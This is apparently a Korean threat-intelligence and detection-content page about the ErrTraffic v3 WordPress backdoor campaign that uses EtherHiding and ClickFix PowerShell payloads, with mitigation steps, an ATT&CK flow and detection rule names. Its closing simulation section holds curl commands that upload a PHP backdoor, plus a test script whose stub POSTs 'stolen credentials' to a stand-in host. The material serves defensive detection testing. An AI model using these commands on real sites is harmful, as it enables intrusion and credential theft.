ErrTraffic v3는 ClickFix 캠페인에서 EtherHiding을 활용
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이 보고서는 mu‑플러그인 백도어를 설치하여 워드프레스 사이트를 손상시키는 ErrTraffic v3 도구를 사용하는 새로운 캠페인을 설명합니다. 백도어는 암호화된 JavaScript를 주입하여 블록체인 기반 EtherHiding 기술을 통해 추가 페이로드를 검색합니다. 마지막 단계에서는 피해자 브라우저에 OS별 악성 코드, 암호화된 PowerShell 페이로드를 제공합니다. 하드코딩된 키와 같은 운영 보안 실수는 인프라를 노출시킵니다.
조사
LevelBlue SpiderLabs는 워드프레스 mu‑플러그인 백도어, 내장 JavaScript 비콘, ErrTraffic V3 제어 패널을 조사했습니다. 이들은 정적 XOR 키의 사용, Base64 디코딩, Polygon RPC 노드에 대한 스마트 계약 호출을 추적했습니다. 분석은 또한 API 통신에 사용되는 하드코딩된 인증 키를 식별하고 여러 불침투 제공업체에 걸쳐 호스팅 인프라를 매핑했습니다.
완화
수비수는 mu‑플러그인 백도어를 제거하고, 알려진 악성 TLD 및 IP 범위를 차단하며, 하드코딩된 API 키 사용을 모니터링하고, 블록체인 RPC 엔드포인트로의 아웃바운드 연결을 제한해야 합니다. 워드프레스 설치를 정기적으로 감사하여 예기치 않은 mu‑플러그인을 검사하고 파일 무결성을 확인하십시오. 웹 애플리케이션 방화벽을 배포하여 비콘 JavaScript 패턴을 감지하십시오.
대응
탐지시, 영향을 받은 웹 서버를 격리하고 백도어 파일을 제거하며 모든 관리자 자격 증명을 회전하십시오. 네트워크 경계에서 확인된 악성 도메인 및 RPC 엔드포인트를 차단하십시오. 다운로드된 페이로드를 식별하기 위해 철저한 포렌식 검토를 수행하고, 공개된 API 토큰을 사용하여 지속적인 C2 활동을 모니터링하십시오.
"graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions step_initial_access["<b>Action</b> – <b>T1659 Content Injection</b><br/>Exploit WordPress site to upload malicious muu2011plugin (sessionu2011manager.php)"] class step_initial_access action step_persistence["<b>Action</b> – <b>T1671 Cloud Application Integration</b> / <b>T1525 Implant Internal Image</b><br/>Backdoor installed as a mustu2011use plugin running on every request"] class step_persistence action step_credential_access["<b>Action</b> – <b>T1056.003 Input Capture</b><br/>Injected JavaScript captures admin credentials and sends them to attacker"] class step_credential_access action step_c2["<b>Action</b> – <b>T1102.003 Web Service Oneu2011Way Communication</b><br/>Beacon sends visitor data via navigator.sendBeacon to attacker domains"] class step_c2 action step_obfuscation["<b>Action</b> – <b>T1027 Obfuscated Files</b><br/>Payloads encoded with Base64 and XOR, embedded in inline scripts"] class step_obfuscation action step_smart_contract["<b>Action</b> – <b>T1059.009 Cloud API</b><br/>Script queries Polygon RPC endpoints and smart contracts (EtherHiding) for URLs"] class step_smart_contract action step_dead_drop["<b>Action</b> – <b>T1102.001</b><br/>Uses blockchain as deadu2011drop for C2 configuration"] class step_dead_drop action step_encrypted["<b>Action</b> – <b>T1573.001 Symmetric Cryptography</b><br/>API traffic encrypted with AESu2011GCM or RC4 using hardu2011coded key"] class step_encrypted action step_execution["<b>Action</b> – <b>T1059.001 PowerShell</b><br/>Downloader creates temp directory, writes executable and fetches OSu2011specific payload"] class step_execution action step_priv_esc["<b>Action</b> – <b>T1546.016 Installer Packages</b><br/>PowerShell script registers as installer package to maintain foothold"] class step_priv_esc action %% Connections step_initial_access –>|leads to| step_persistence step_persistence –>|enables| step_credential_access step_credential_access –>|provides| step_c2 step_c2 –>|uses| step_obfuscation step_obfuscation –>|facilitates| step_smart_contract step_smart_contract –>|stores| step_dead_drop step_dead_drop –>|delivers| step_encrypted step_encrypted –>|supports| step_execution step_execution –>|enables| step_priv_esc "
공격 흐름
탐지
UNC 경로가 인수로 있는 실행 파일을 포함한 의심스러운 명령줄 (cmdline 통해)
보기
명령줄에 대한 가능성 있는 ClickFix 공격 패턴 (cmdline 통해)
보기
의심스러운 디렉토리에서 실행되는 PowerShell 프로세스 가능성 (cmdline 통해)
보기
PowerShell에서 의심스러운 .NET 메서드 호출 (powershell 통해)
보기
PowerShell 모호화 지표 가능성 (powershell 통해)
보기
C2 채널로서의 Publicnode Ethereum 남용 시도 가능성 (dns_query 통해)
보기
의심스러운 커맨드 & 컨트롤 사용된 비정상적인 최상위 도메인(TLD) DNS 요청 (dns 통해)
보기
TLS 1.2 강제 사용된 모호화된 PowerShell 페이로드 탐지 [Windows Powershell]
보기
임베디드 JavaScript 및 워드프레스 백도어 탐지 [웹 서버]
보기
침해된 워드프레스 사이트의 ErrTraffic V3 활동 탐지 [웹 서버]
보기
시뮬레이션 실행
전제조건: Telemetry & Baseline Pre‑flight Check가 통과되어야 합니다.
이유: 이 섹션은 탐지 규칙을 유발하도록 설계된 적대적 기술 실행을 상세하게 설명합니다. 명령과 내러티브는 식별된 TTP에 직접 반영되어야 하며, 탐지 논리에 의해 예상되는 정확한 텔레메트리를 생성하려는 의도를 가집니다. 추상적이거나 관련 없는 예는 오진을 초래할 것입니다.
-
공격 내러티브 & 명령:
공격자는 워드프레스 관리자 계정을 침해하고 악성 PHP 파일session-manager.php를 웹 루트에 업로드했습니다. 이 파일은 인라인<script>블록의 주석으로 “JavaScript embedded at the end of the section”라는 문구가 포함된 순진해 보이는 HTML 섹션을 포함합니다. 이 스크립트는 클라우드 스토리지 버킷으로 은밀하게 데이터를 탈취합니다 (사용된curlPOST를 통해 시뮬레이션됨).navigator.sendBeacon()은(는) 존재하지 않아 요청은 규칙의 탐지 창 내에 유지됩니다.- 악성 백도어 업로드:
curl -u admin:password -F "file=@session-manager.php" "http://target.example.com/wp-admin/async-upload.php" - 백도어 트리거 (탐지‑유발 텔레메트리 생성):
curl -s "http://target.example.com/wp-content/uploads/session-manager.php?cmd=exfiltrate"
- 악성 백도어 업로드:
-
회귀 테스트 스크립트:
#!/usr/bin/env bash # # Simulates uploading and invoking a malicious WordPress backdoor # that contains the exact phrase the Sigma rule watches for. # set -euo pipefail TARGET="http://target.example.com" ADMIN_USER="admin" ADMIN_PASS="password" # 1. Create the malicious PHP payload locally cat > session-manager.php <<'EOF' <?php // JavaScript embedded at the end of the section echo "<!DOCTYPE html><html><body>"; echo "<script>/* malicious code */</script>"; echo "</body></html>"; // Simple exfiltration stub (no sendBeacon) if ($_GET['cmd'] === 'exfiltrate') { $data = base64_encode('stolen_credentials'); $url = "https://malicious-storage.example.com/upload"; $options = array('http'=>array('method'=>"POST",'header'=>"Content-Type: application/x-www-form-urlencodedrn",'content'=>http_build_query(array('data'=>$data)))); $context = stream_context_create($options); file_get_contents($url, false, $context); } ?> EOF # 2. Upload the payload via WordPress’s async upload endpoint curl -s -u "${ADMIN_USER}:${ADMIN_PASS}" -F "file=@session-manager.php" "${TARGET}/wp-admin/async-upload.php" >/dev/null echo "[+] Uploaded malicious session-manager.php" # 3. Invoke the backdoor to generate detection‑visible traffic curl -s "${TARGET}/wp-content/uploads/session-manager.php?cmd=exfiltrate" >/dev/null echo "[+] Triggered backdoor – detection telemetry should now be present" # 4. Optional: pause for SIEM ingestion sleep 5 -
정리 명령:
# Remove the malicious file from the server (requires admin SSH access) ssh admin@target.example.com "rm -f /var/www/html/wp-content/uploads/session-manager.php" echo "[+] Cleanup complete – backdoor removed"